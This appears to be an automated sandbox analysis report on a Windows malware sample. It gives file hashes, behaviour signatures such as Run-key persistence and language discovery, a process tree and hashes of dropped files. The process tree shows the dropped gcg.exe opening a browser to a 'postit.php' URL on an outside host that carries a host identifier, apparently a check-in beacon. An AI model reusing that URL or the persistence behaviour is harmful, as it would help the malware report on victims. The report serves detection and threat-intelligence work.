Analysis

  • max time kernel
    113s
  • max time network
    100s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/09/2024, 05:33

General

  • Target

    cd2a0f28284767667a565691a2687690N.exe

  • Size

    212KB

  • MD5

    cd2a0f28284767667a565691a2687690

  • SHA1

    3de10b566bf5f7ca98274b4763db393dbe7b8d93

  • SHA256

    0a0180797815349212dcb65d198b31620cf6c1d82d214f47fb4c128e8afba227

  • SHA512

    4c94692e55cb24e8aa8307a4c80dbf7601117c04b9f312eab04804edbaa9858607772094025937c0d3eb6e40ba9a5b0b94207e6633542386ef1f763c53a8352c

  • SSDEEP

    6144:Bfzkr5AMMnb3YzewGIplBxxPqSpmHlZs3K4k:yr5fMnb3YzewGIpl1qSpmHjs3K4

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd2a0f28284767667a565691a2687690N.exe
    "C:\Users\Admin\AppData\Local\Temp\cd2a0f28284767667a565691a2687690N.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2724
    • C:\Windows\gcg.exe
      C:\Windows\gcg.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3480
      • C:\Windows\explorer.exe
        explorer "http://www.gcgkuakers.com.ar/postit.php?accion=post&host=KZYBFHMK"
        3⤵
          PID:5024
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.gcgkuakers.com.ar/postit.php?accion=post&host=KZYBFHMK
        2⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:376
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0x78,0x108,0x7ffbb66646f8,0x7ffbb6664708,0x7ffbb6664718
          3⤵
            PID:4604
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2248 /prefetch:2
            3⤵
              PID:4584
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:876
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2828 /prefetch:8
              3⤵
                PID:2012
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
                3⤵
                  PID:2608
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3432 /prefetch:1
                  3⤵
                    PID:4424
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4052 /prefetch:1
                    3⤵
                      PID:5108
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4964 /prefetch:1
                      3⤵
                        PID:4648
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5376 /prefetch:8
                        3⤵
                          PID:1832
                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5376 /prefetch:8
                          3⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4672
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1
                          3⤵
                            PID:4816
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4076 /prefetch:1
                            3⤵
                              PID:4244
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3500 /prefetch:1
                              3⤵
                                PID:4428
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1
                                3⤵
                                  PID:4932
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3064 /prefetch:1
                                  3⤵
                                    PID:4376
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,4618292818351460158,4022184947748970980,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5524 /prefetch:1
                                    3⤵
                                      PID:1080
                                • C:\Windows\System32\CompPkgSrv.exe
                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                  1⤵
                                    PID:4656
                                  • C:\Windows\System32\CompPkgSrv.exe
                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                    1⤵
                                      PID:2620

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

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                                          Downloads

                                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                            Filesize

                                            152B

                                            MD5

                                            ab8ce148cb7d44f709fb1c460d03e1b0

                                            SHA1

                                            44d15744015155f3e74580c93317e12d2cc0f859

                                            SHA256

                                            014006a90e43ea9a1903b08b843a5aab8ad3823d22e26e5b113fad5f9fa620ff

                                            SHA512

                                            f685423b1eaee18a2a06030b4b2977335f62499c0041c142a92f6e6f846c2b9ce54324b6ae94efbbb303282dcda70e2b1597c748fddc251c0b3122a412c2d7c4

                                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                            Filesize

                                            152B

                                            MD5

                                            38f59a47b777f2fc52088e96ffb2baaf

                                            SHA1

                                            267224482588b41a96d813f6d9e9d924867062db

                                            SHA256

                                            13569c5681c71dc42ab57d34879f5a567d7b94afe0e8f6d7c6f6c1314fb0087b

                                            SHA512

                                            4657d13e1bb7cdd7e83f5f2562f5598cca12edf839626ae96da43e943b5550fab46a14b9018f1bec90de88cc714f637605531ccda99deb9e537908ddb826113b

                                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                            Filesize

                                            5KB

                                            MD5

                                            ae0d2ed53edd5cc31ec776967a7167d1

                                            SHA1

                                            34b40e9baa43541cd740c48949bfd7cba6121f62

                                            SHA256

                                            6fe12771fd29adfca108e4002a79a66b895633c717fdd01a600e674ff03b5c69

                                            SHA512

                                            3d76bce357b8f79c2b570d5a8a9a661ba64bccae51f15fe14ca7383fcfaa0bb7ca34ffc132c9b990f6e99198fa933313ae46fc6e3632da4fc0665585905bafe1

                                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                            Filesize

                                            6KB

                                            MD5

                                            f7a221763d977fe17cb29efbfefac363

                                            SHA1

                                            5f2758dd5444a499c9d03fb8da5c6ecc4d4e20ad

                                            SHA256

                                            b32f3133acf0d950b66b03ebbfe6331466edf069d880c0ba15c0bf665648de6d

                                            SHA512

                                            a3492165bc1dac1c2ba9903cee9eef5dcfce7c8764fc683cb18fa0312287b116fce643ed1a36fabb9e9ca0bcbd8b283020b585ccb6a27c7f34ddb7ef681fae32

                                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                            Filesize

                                            16B

                                            MD5

                                            6752a1d65b201c13b62ea44016eb221f

                                            SHA1

                                            58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                            SHA256

                                            0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                            SHA512

                                            9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                            Filesize

                                            10KB

                                            MD5

                                            5c3ba9174561e889cb802c5910664f68

                                            SHA1

                                            de70a80f9c5f0a54f3cd7adb4d3e8e4ef38e78ef

                                            SHA256

                                            bfa2a16944a0aac9e184bb597c35ec8cd8330002c1f40e64d818f2aa8824288f

                                            SHA512

                                            7d46f49d62aa338ab90c1883b7377c132a9b84a505232a9e9040fe072972f7037bec5b14c6cdd51a5a3320775e5c96b3828b271ac39ca481596ac8c53bb53830

                                          • C:\Windows\gcg.exe

                                            Filesize

                                            168KB

                                            MD5

                                            70f6dbc6d323f4a6b6b5e28fe2ddb508

                                            SHA1

                                            0edd0be7c187d89975dc13e92143244643f1ae29

                                            SHA256

                                            2fd08efb1df59b1feba90de709bb311a94c68e11b08e261a16e2fa66fe555c89

                                            SHA512

                                            6879a9e91775ef5d81cd0c71f2c48112f6e74a5105070e16778a631238c68ad9ad903bda2451588d734c4a41ddb370e2feb9c5e116466177d2fd25956d8e1aff